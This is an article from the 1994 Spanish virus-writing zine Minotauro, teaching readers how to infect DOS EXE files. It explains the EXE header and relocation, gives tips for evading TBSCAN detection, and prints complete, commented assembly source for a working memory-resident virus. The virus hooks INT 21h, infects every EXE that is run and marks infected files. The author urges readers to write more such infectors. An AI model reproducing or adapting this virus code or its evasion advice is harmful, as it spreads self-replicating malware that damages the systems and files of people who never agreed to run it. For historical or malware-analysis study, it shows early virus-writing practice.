Minotauro nº1:(TEXT_003.001):14/05/1994 << Back To Minotauro nº 1
Programación de virus (no tan básico) #2... ------------------------------------------------------------------------------- La infeccion de EXE no es mucho mas dificil que la de COM. Lo que sucede es que implica el dominio de una estructura conocida como "EXE header", pero una vez conocido este, no es muy dificultosa, y ofrece mas matices que el puro y simple agregado de un JMP al principio del codigo. Comencemos... % Estructura del Header % La estructura de un header EXE esta disponible en casi cualquier libro bueno de DOS, e incluso en algunas otras revistas de H/P/V, pero de todas formas, la pongo aca para que el lector que no la tiene sepa de que estoy hablando: Offset Descripcion 00 Marca de EXE (MZ = 4D5A) 02 Numero de bytes en la ultima pagina (de 512 bytes) del programa 04 Numero total de paginas de 512 bytes, redondeado hacia arriba 06 Numero de entradas en la Tabla de Alocacion 08 Size del header (en paragrafos, incluyendo la Tabla de realocacion) 0A Minimo de memoria requerido (en para) 0C Maximo de memoria requerido (en para) 0E SS inicial 10 SP inicial 12 Checksum 14 IP inicial 16 CS inicial 18 Offset de la Tabla de Alocacion desde el comienzo del file 1A Numero de Overlays generados La marca de EXE (MZ) es en realidad lo que distingue a un EXE de un COM, y no la extension. La extension solo sirve para que DOS determine que correr antes (COM-> EXE -> BAT). Pero lo que determina si es un exe 'verdadero' o no, es esta marca. Las entradas 02 y 04 contienen el size del programa en si, en el formato 512 byte pages * 512 + reminder. Osea, si el programa es de 1025 bytes, tengo 512 byte pages = 3 (redondeado hacia arriba) y reminder = 1. (En realidad uno se pregunta, si las paginas estan redondeadas hacia arriba, para que es el reminder. Es mas, ya que vamos a usar 4 bytes para el size, porque no ponerlo simple y llano. Y bueh, es dura la vida del programador de virus :-)) La entrada en 06 contiene el numero de entradas de la tabla de realocacion (el numero de "punteros", ver mas abajo), y la entrada en 18 contiene el offset de esta tabla dentro del file. El size del header (en 08) incluye la tabla de realocacion. El minimo de memoria requerida (0A) es lo minimo que necesita el prog. para correr, y el maximo (0C), lo que desearia para correr. (Por lo general es seteado a FFFF = 1M por los linkers, y DOS entrega toda la memoria disponible). El SS:SP y CS:IP contienen los valores iniciales para estos registros (ver abajo). Notese que SS:SP esta puesto al reves, osea que un LDS no funciona para cargarlo. El checksum (12) y el numero de overlays (1A) pueden ser ignorados, ya que nunca son usados. % EXE vs. COM load process % Bueno, todos conocemos exhaustivamente como se carga un COM: Se construye un PSP, se crea un Environment Block a partir del bloque del parent y se copia el file COM integro y textualmente en la memoria, debajo del PSP. El hecho de que la memoria (en la arquitectura de nuestras computadoras) este segmentada en 'cachos' de 64k hace que ningun COM pueda tener un size mayor a este. (Porque, si lo tuviera, como lo accederia, de todos modos, si el file es copiado textual a memoria. De todas formas DOS no ejecuta COM de +64k). Ademas, ninguna instruccion que involucre referencias de segmento (del tipo CALL XXXX:XXXX, etc) esta permitida. Notese que ademas cuando un COM es cargado, se le entrega toda la memoria disponible. En el caso de los EXE, para sobreponerse a estas limitaciones, la cosa es mas compleja, y se utiliza la consabida "Tabla de realocacion" (reallocation table), y el Header EXE para esto. Cuando se ejecuta un EXE, DOS primero hace las cosas como en un COM (Construye PSP, Crea Environment Block). Luego lee, a un area de trabajo, el Header, y a partir de los datos de este, el programa en si en el apropiado lugar de la memoria, y por ultimo, en otro area de trabajo, la tabla de realocacion. A continuacion procede a realocatear todo el codigo. ¿En que consiste esto? El linker trata a las referencias de segmento siempre con un base adress de 0. Osea, el primer segmento es el 0, el segundo el 1, etc. Sin embargo, el programa es cargado en un segmento que no es 0, sino, por ejemplo, 1000H. Entonces todas las referencias al segmento 1, deben ser convertidas al segmento 1001H. La tabla de realocacion es sencillamente una lista de punteros que marcan referencias de este tipo (al segmento "1", etc). Estos punteros a su vez son relativos a la base adress de 0, osea que tambien deben ser realocateados. Por lo tanto, DOS suma al "puntero" de la tabla de realocacion el segmento efectivo (el segmento en que fue cargado el programa, osea 1000H) y obtiene asi una direccion absoluta en memoria de la referencia de segmento. A esta referencia le suma tambien el segmento efectivo, y luego de haber hecho esto con todas y cada una de las referencias de segmento, el EXE esta realocateado, y listo para ejecutar. Por ultimo DOS setea SS:SP a los valores del header (tambien realocateados, osea el SS del header+1000H), y entrega el control al CS:IP del header (obviamente tambien realocateado). Veamos un ejemplo sencillo: EXE PROGRAM FILE Header CS:IP (Header) 0000:0000 + (relocation Eff. Segment 1000 + table entries=2) PSP 0010 = ------------------------- Entry Point 1010:0000 >─────────┐ Relocation Table ┌─────────────┘ │ 0000:0003 >────────────────────────> + 1010H = 1010:0003 >──┐ │ ┌───────────────────────────┘ │ 0000:0007 >─────────────────────┼──> + 1010H = 1010:0007 >──┐ │ ┌─┼───────────────────────────┘ │ Program Image │ │ PROGRAM IN MEMORY │ │ │ PSP 1000:0000 │ call 0001:0000 │ └──> call 1011:0000 1010:0000 <─┘ nop │ nop 1010:0005 mov ax, 0003 └────> mov ax, 1013 1010:0006 mov ds, ax mov ds, ax 1010:0009 Nota: Espero que sepan apreciar el uso de las flechitas, porque me costo un huevo hacerlas a manopla con Alt+??? en Norton Comander Editor. % La infeccion del EXE % Luego que se ha determinado que el file es un EXE y no un COM, estos son los pasos a seguir para infectarlo: - Obtener el size del file y calcular el CS:IP Esto es controvertido. Si bien no todos, la mayoria de los virus agregan al file 1-15 bytes de basura para redondearlo a paragrafo. Esto permite calcular CS de tal forma que IP es invariante de un file infectado a otro. A su vez esto permite escribir el virus sin "realocacion", ya que corre siempre en el mismo offset, lo cual redunda en una complejidad y un size menor del virus. El esfuerzo (minimo) de escribir estos 1-15 bytes se justifica por estos beneficios. - Agregar el Virus al final del file Bueno, supongo que conoceran la funcion 40H de INT 21H, a esta altura, no? :-). - Calcular el SS:SP En la infeccion de EXE, es necesario que el virus se "arregle" una stack nueva propia porque sino podria darse el caso que la stack del hoste estuviera SOBRE el codigo del virus, y al usarla, se sobreescribiera el codigo que se esta ejecutando. El sistema se colgaria. Por lo general SS es igual al CS calculado, y SP constante (se lo puede poner despues del codigo, p.eg.) Una cosa hay que notar: SP nunca puede ser impar. Si es impar, aunque funciona, es un error, y el TBSCAN lo detecta. (TBSCAN detecta 99% de las stacks de los virus con la flag 'K'. La unica forma de eludirla que he descubierto es poner la stack ADELANTE del virus en el file infectado, lo cual es bastante trucho, pues aumenta el size de infeccion, pues hay que escribir mas "basura" para hacer espacio de stack) - Modificar el size reportado en el header Ahora que ya se ha escrito el virus, se puede calcular el size final y asi escribirlo en el header. La cuenta es sencilla: en "paginas" va el size dividido por 512 mas 1, y en reminder, va el resto. Facil de hacer, basta una instruccion DIV. - Modificar el "MinAlloc" En la mayoria de los EXE, el "MaxAlloc" esta puesto en FFFF, osea un mega, y el DOS le entrega toda la memoria disponible. En estos casos, hay lugar de sobra para HOSTE+VIRUS. Pero dos cosas pueden suceder: Uno, que el header no tenga FFFF en el MaxAlloc, haciendo que solo haya un minimo de memoria para el hoste, y posiblemente nada para el virus. Dos, que haya poca memoria en el sistema, y "toda la memoria disponible" entregada por el FFFF sea aun asi insuficiente para HOSTE+VIRUS. En ambos casos, el virus no se carga, y el sistema se cae. Para solucionar esto, basta sumar al MinAlloc el size del virus en paragrafos. En el primer caso, el virus se cargaria en memoria y todo andaria al pelo. En el segundo, DOS se negaria a ejecutar el file, por memoria insuficiente. Bien, esto es todo. Solo dos ultimas cositas: al hacer un infector de EXE, no solo interesa la rutina de infeccion, sino ademas la de instalacion. Tomar en cuenta que en un EXE, DS y ES apuntan al PSP, y son diferentes de SS, y CS, que a su vez pueden ser distintos entre si. Esto les puede salvar de HORAS de debugging y errores inexplicables. Bueno, basta seguir estos pasos para infectar un exe en la manera 'tradicional' y segura. Recomiendo observar atentamente el virus de ejemplo (mas abajo) que ilustra todos y cada uno de los topicos mencionados. % Detalles, Oh, Detalles ... % Un ultimo detalle, importante en cierta medida, son los EXEs de un tamano muy grande. Existen algunos ejecutables de este tipo, mayores a 500k, a veces. (Por ejemplo el TC.EXE que era el IDE del Turbo C/C++ 1.01, tenia 800k). Porsupuesto estos EXEs no son comunachos, sino EXEs con overlays internos. Estos EXEs son casi imposibles de infectar por dos razones: La primera de tipo teorica. Sucede que con un par de registros SEGMENT:OFFSET solo se puede direccionar 1M. Por lo tanto es tecnicamente imposible infectar EXEs de 1M+ de la forma tradicional (Ya que es imposible direccionar el CS:IP al final del file). Ningun virus puede ni podra hacerlo. (Existen EXE de 1M+? Si, el EXE del juego HOOK ocupaba 1.6M BLERGH!). La segunda, de tipo practica. Estos EXEs con overlays internos no se cargan enteros en memoria, como los exes comunes. Se carga solo una parte pequena de ellos, que se encarga de cargar a las otras partes a medida que las necesita. Es por eso que puede correr un EXE de 800k (No se si se dieron cuenta que 800k > 640k :-). Porque esto hace dificil infectarlos? Porque uno de estos EXEs luego de haber sido infectado, dadas las modificaciones hechas por el virus (Entre ellas la del size del program load image), tratara de ser cargado ENTERO en memoria. Osea, del principio al fin. Osea, los 800k (o los que sean). Evidentemente, el sistema se cuelga :-). Se puede pensar un virus que infectara EXEs muy largos con overlays internos (menores a 1M), mediante la manipulacion del "Header Size", pero aun asi no lo veo muy posible ya que en alguna parte DOS deberia cargar un header de 800k :-). % Un caso especial: RAT % La comprension del proceso de la realocacion de un Header nos permite entender ahora el funcionamiento de un virus infector de EXE especial. Se trata del virus RAT. Este virus se aprovecha del hecho de que los linkers suelen hacer los headers de a cachos de 512 bytes, dejando mucho espacio sin usar en los casos en que hay poca realocacion. Este virus utiliza este espacio para copiarse. Se copia alli, en el espacio sin usar del header (de la tabla de realocacion). Porsupuesto su funcionamiento es totalmente diferente del de un infector normal de EXE. No puede admitir ninguna realocacion, ya que como su codigo esta ANTES del del hoste, seria su codigo (y no el del hoste) el que seria realocateado. Por lo tanto, tampoco puede hacer un sencillo salto al codigo del hoste para correrlo, (ya que no esta realocateado) sino que tiene que volver a escribir el header original a file, y correro con un AX=4B00, INT 21. % Virus Ejemplo % Bueno, como corresponde a toda revista de Virus que se precie, aqui va un codigo totalmente funcional, y que ilustra todo lo dicho sobre la infeccion de EXE. Si no entendieron alguna parte, o si quieren ver algo hecho "en el codigo", fijense en este virus, que ademas esta comentado HASTA LAS MANOS. -------------------- Cut Here ------------------------------------------------ ; NOTA: Este es un virus mediocre, solo para ilustrar la infeccion de EXE. ; No puede infectar READ ONLY y modifica la fecha/hora del file. Se le ; podrian hacer muchas mejoras, tanto funcionales (haciendo que infecte ; READ ONLY, etc), como de optimizacion de codigo (la mayoria de los datos, ; de hecho, TODOS los datos except SS:SP, CS:IP no son necesarios y podrian ; ser volados, usando luego la heap, ademas de otra optimizaciones). ; NOTA 2: Primero, le puse una notita muy fifi, y segundo, hice que sonara ; una bell cada vez que infecta, asi que si se te escapa y te infecta todo el ; rigido, es porque sos un flor de pelotudo. code segment para public assume cs:code, ss:code VirLen equ offset VirEnd - offset VirBegin VirBegin label byte Install: mov ax, 0BABAH ; Este chequeo es para no quedar residente dos veces. int 21h cmp ax, 0CACAH ; Si nos devuelve este codigo, es que ya esta resi- jz AlreadyInMemory; dente el virus mov ax, 3521h ; Con esto obtenemos el adress original de la INT 21 int 21h ; para luego poder llamarla mov cs:word ptr OldInt21, bx mov cs:word ptr OldInt21+2, es mov ax, ds ; \ dec ax ; | mov es, ax ; | mov ax, es:[3] ; block size ; | Si sos medio novato, ignora todo sub ax, ((VirLen+15) /16) + 1 ; | esto. (Es el metodo de MCB). xchg bx, ax ; | No viene al caso para la mov ah,4ah ; | infeccion de EXE. push ds ; | Es una de las formas de quedar pop es ; | residente de los virus. int 21h ; | mov ah, 48h ; | mov bx, ((VirLen+15) / 16) ; | int 21h ; | dec ax ; | mov es, ax ; | mov word ptr es:[1], 8 ; | inc ax ; | mov es, ax ; | xor di, di ; | xor si, si ; | push ds ; | push cs ; | pop ds ; | mov cx, VirLen ; | repz movsb ; / mov ax, 2521h ; Aqui se cuelga de la INT 21 mov dx, offset NewInt21 push es pop ds int 21h pop ds ; Esto es para que DS y ES esten en sus valores originales push ds ; OJO QUE ESTO ES IMPORTANTE. Sino el EXE, al recibir DS y ES pop es ; incorrectos, se puede colgar. AlreadyInMemory: mov ax, ds ; Con esto seteo SS al valor del Head. add ax, cs:word ptr SS_SP ; notese que lo 'realocateo' usando add ax, 10h ; ds ya que ese es el segmento en que mov ss, ax ; se cargo el prog. El +10 corresponde mov sp, cs:word ptr SS_SP+2 ; al PSP. Tambien seteo SP mov ax, ds add ax, cs:word ptr CS_IP+2 ; Ahora hago lo mismo con CS. add ax, 10h ; e IP. Los pusheo, y despues hago un push ax ; retf. Esto hace que "salte" a esa mov ax, cs:word ptr CS_IP ; posicion push ax retf NewInt21: cmp ax, 0BABAh ; Eso es para el chequeo de que el virus no este jz PCheck ; residente dos veces. cmp ax, 4b00h ; Esta es la intercepcion de la funcion de 'correr jz Infect ; file' jmp cs:OldInt21 ; Si no es ninguna de estas cosas, se le entrega el ; control a la INT 21 original para que esta procese ; la llamada. PCheck: mov ax, 0CACAH ; Este es el codigo que devuelve. iret ; volver. ; Ahora viene la rutina de infeccion. Prestar atencion, pues esto es la ; "cosa en si". Todo lo demas ignorenlo si quieren,pero en esto fijense bien. Infect: push ds ; En DS:DX viene el nombre del file a infectar. push dx ; Por lo tanto hay que guardarlo. pushf call cs:OldInt21 ; Llamamos a int 21 original para correr el file. push bp ; Salvamos todos los registros. mov bp, sp ; Esto es importante en una rutina residente, ya que si push ax ; no se hace, el sistema probablemente se cuelgue. pushf push bx push cx push dx push ds lds dx, [bp+2] ; Reobtenemos el nombre del file (de la stack) mov ax, 3d02h ; Abrimos el file para r/w int 21h xchg bx, ax mov ah, 3fh ; Aqui leemos los primeros 32 bytes del file a mem. mov cx, 20h ; Los leemos a la variable "ExeHead" push cs pop ds mov dx, offset ExeHeader int 21h cmp ds:word ptr ExeHeader, 'ZM' ; Esto es para determinar si es un jz Continue ; EXE "verdadero" o si es un COM. jmp AbortInfect ; Si es un COM, no lo infectamos. Continue: cmp ds:word ptr Checksum, 'JA' ; Esta es la marca de reconocimiento jnz Continue2 ; del virus. Para esto usamos el jmp AbortInfect ; Checksum del Header (que no se usa ; para ninguna otra cosa). Si ya esta ; infectado, no lo infectamos :-) Continue2: mov ax, 4202h ; Ahora vamos al final del file para ver si termina cwd ; en paragrafo. xor cx, cx int 21h and ax, 0fh or ax, ax jz DontAdd ; Si termina en paragrafo, no hacemos nada mov cx, 10h ; Si no termina en paragrafo, le agregamos bytes de sub cx, ax ; basura para rellenar. Notar que no importa que mov ah, 40h ; tenga DX, ya que no importa que es lo que ponemos. int 21h DontAdd: mov ax, 4202h ; Bien, ahora obtenemos el size final, redondeado a cwd ; paragrafo. xor cx, cx int 21h mov cl, 4 ; En este codigo se calcula el nuevo CS:IP que debera shr ax, cl ; tener el file. Se hace la siguiente cuenta: mov cl, 12 ; Size del file: 12340H (DX=1, AX=2340H) shl dx, cl ; DX SHL 12 + AX SHR 4 = 1000H + 0234H = 1234H = CS add dx, ax ; En DX ahora tenemos el CS que tendra que tener. sub dx, word ptr ds:ExeHeader+8; Le restamos el numero de paragrafos push dx ; del header. Lo guardamos en la stack para despues ; <--------------- Entienden porque no se puede infectar EXEs de 1M+? mov ah, 40h ; Ahora escribimos el virus al final del file. mov cx, VirLen ; Lo hacemos antes de tocar el header porque en el cwd ; CS:IP u SS:SP del header (dentro del codigo del int 21h ; virus) debe quedar el CS:IP, SS:SP original. ; para que funcione correctamente la rutina de instalacion del virus. pop dx mov ds:SS_SP, dx ; Modificamos el CS:IP del header apuntando mov ds:CS_IP+2, dx ; al virus. Y ponemos una stack de 100h mov ds:word ptr CS_IP, 0 ; bytes (despues del virus) pues esta stack ; solo sera usada por el mismo virus en su proceso de instalacion. ; Luego la stack cambia, y pasa a ser la original del programa. mov ds:word ptr SS_SP+2, ((VirLen+100h+1)/2)*2 ; Este es para forzar ; SP a ser par pues sino es par, el TBSCAN salta. mov ax, 4202h ; Volvemos a obtener el NUEVO size, para poder xor cx, cx ; calcular el size que hay que poner en el header. cwd int 21h mov cx, 200h ; Hacemos la sgte. cuenta : div cx ; FileSize/512 = PAGES. FileSize modulo 512 = Resto inc ax ; redondeamos para arriba mov word ptr ds:ExeHeader+2, dx; Lo guardamos en el header, para mov word ptr ds:ExeHeader+4, ax; escribirlo despues mov word ptr ds:Checksum, 'JA'; Ponemos la marca de identificacion ; del virus en el checksum. add word ptr ds:ExeHeader+0ah, ((VirLen + 15) SHR 4)+10h ; Al 'MinAlloc' ; le sumamos el numero de paragrafos del virus, para que no haya ; problemas en la alocacion de memoria. (Tambien le sumamos 10 para ; grafos para la stack del virus. mov ax, 4200h ; Vamos al principio del file cwd xor cx, cx int 21h mov ah, 40h ; y escribimos el header modificado... mov cx, 20h mov dx, offset ExeHeader int 21h mov ah, 2 ; sonamos una campanita :-). Para que al novato mov dl, 7 ; no se le pase por alto que el virus esta en memoria int 21h ; SI DESPUES DE ESTO TE INFECTAS, CORTATELA, GIL. AbortInfect: mov ah, 3eh ; Cerramos el file que abrimos. int 21h pop ds ; Popeamos los registros que habiamos pusheado para pop dx ; conservarlos. pop cx pop bx pop ax;flags ; Esto es para pasar las flags bien. Pueden ignorarlo mov bp, sp ; los novatos. mov [bp+12], ax pop ax pop bp add sp, 4 iret ; Devolvemos el control. ; Data OldInt21 dd 0 ; Aqui guardamos el address original de INT 21. ExeHeader db 0eh DUP('H'); SS_SP dw 0, offset VirEnd+100h Checksum dw 0 CS_IP dw offset Hoste,0 dw 0,0,0,0 ; Esto es el header del EXE. VirEnd label byte Hoste: ; Este no es el codigo del virus, sino el del "falso hoste", para que ; el file carrier corra bien :-). mov ah, 9 mov dx, offset MSG push cs pop ds int 21h mov ax, 4c00h int 21h MSG db "CUIDADO! Ahora el virus ESTA EN MEMORIA!", 13, 10 db "Y puede infectar todos los EXEs que corras!", 13, 10 db "Si te infectas es problema TUYO", 13, 10 db "No somos responsables de tu boludez!$" ends end -------------------- Cut Here ------------------------------------------------ % Conclusion % Bueno, that's all, folks. Este articulo intento ser de utilidad tanto para el profano que recien empieza a hacer virus, como para el que ya la tiene mas clara. Si, ya se que los principiantes no habran entendido muchas partes dada la dificultad que revisten, y los expertos quiza no habran entendido otras partes dada la incoherencia y la pobreza descriptiva (?) del redactor, pero bueno, fuck it. Igualmente espero que haya sido de utilidad, y espero ver muchos mas infectores de EXE por ahi a partir de ahora. Y a modo de despedida, un desafio para los lectores: Hacer un infector de EXE capaz de infectar EXE de 800k. Yo creo que es imposible. El premio: Una subscripcion vitalicia a Minotauro Magazine :-). Trurl, el gran constructor